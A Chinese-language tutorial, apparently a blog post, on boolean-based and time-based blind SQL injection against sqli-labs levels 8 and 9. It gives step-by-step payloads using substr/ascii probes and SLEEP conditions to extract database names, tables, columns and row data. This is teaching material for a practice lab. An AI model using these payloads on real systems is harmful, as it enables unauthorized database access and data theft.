当前位置: 首页 > article >正文

boolen盲注与时间盲注,sqli-labs第八关与第九关

一:boolen盲注

1.确认注入的类型

?id=1' 

 ?id=1"      ?id=1

只有在单引号时无显。

?id=1' AND 1=1 --+

由于 1=1 条件恒为真,若页面显示 You are in...........,说明构造的条件使 SQL 查询能匹配到结果。

?id=1' AND 1=2 --+

由于 1=2 条件恒为假,若页面不显示 You are in...........,说明构造的条件使 SQL 查询无匹配结果。

2.数据库名长度

?id=1'and length((select database()))=7--+

?id=1'and length((select database()))=8--+

3.获取数据库名

?id=1' and ascii(substr((database()),1,1)) =115 --+

4.获取表名

?id=1' and (ascii(substr(( select  table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+

5.获取具体数据

?id=1%27%20and%20%20(select%20count(*)%20from%20users)=13%20--+

二:时间盲注

1.判断注入类型

?id=1%27%20AND%20SLEEP(5)--+

首先,我们需要确认注入点是否存在。可以尝试在 id 参数后面添加单引号,观察页面响应时间是否有变化。如果页面响应时间明显增加了 5 秒,说明注入点存在。

2,获取数据库名长度

?id=1%27%20AND%20IF(LENGTH(DATABASE())=N,%20SLEEP(5),%201)--+

将 N 从 1 开始逐步递增,直到页面响应时间增加了 5 秒,此时的 N 就是数据库名的长度。

3.获取数据库名id=1%27%20AND%20IF(SUBSTR(DATABASE(),%20N,%201)=%27CHAR%27,%20SLEEP(5),%201)--+

将 N 从 1 开始逐步递增,CHAR 从 a 到 z、A 到 Z、0 到 9 以及其他可能的字符进行尝试,直到页面响应时间增加了 5 秒,此时的 CHAR 就是数据库名的第 N 位字符。

4.获取表名

?id=1' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='DATABASE_NAME' LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 个表名的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有表名。

5.获取列名

?id=1' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='DATABASE_NAME' AND table_name='TABLE_NAME' LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+
 

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 个列名的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有列名。

6.获取数据

id=1' AND IF(SUBSTR((SELECT COLUMN_NAME FROM TABLE_NAME LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 条记录的 COLUMN_NAME 列的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有数据。


http://www.kler.cn/a/549770.html

相关文章:

  • 回调函数
  • linux笔记3----防火墙(ubuntu)
  • 本地音乐播放器(有UI界面)
  • Python VsCode DeepSeek接入
  • 从零开始学Python爬虫:(二)使用基本库urllib(下)
  • React 中的状态和属性有什么区别?
  • 在 Go 中实现事件溯源:构建高效且可扩展的系统
  • iOS事件传递和响应
  • springboot245-springboot项目评审系统(源码+论文+PPT+部署讲解等)
  • word文档提取信息
  • 从安装软件到flask框架搭建可视化大屏(二)——创建一个flask页面,搭建可视化大屏,零基础也可以学会
  • 鸿蒙NEXT开发-自定义构建函数
  • mac docker镜像加速正确配置方式
  • rabbitmq五种模式的总结——附java-se实现(详细)
  • Vue 自动配置表单 el-switch等不常用组件覆盖默认值问题
  • Versal - 基础5(裸机开发 AIE-ML+Vitis2024.2界面aie report介绍)
  • 基于Python实现的缓存淘汰替换策略算法,该算法将缓存分区
  • 网络安全-攻击流程-应用层
  • Java每日精进·45天挑战·Day17
  • 【第3章:卷积神经网络(CNN)——3.1 CNN的基本结构与工作原理】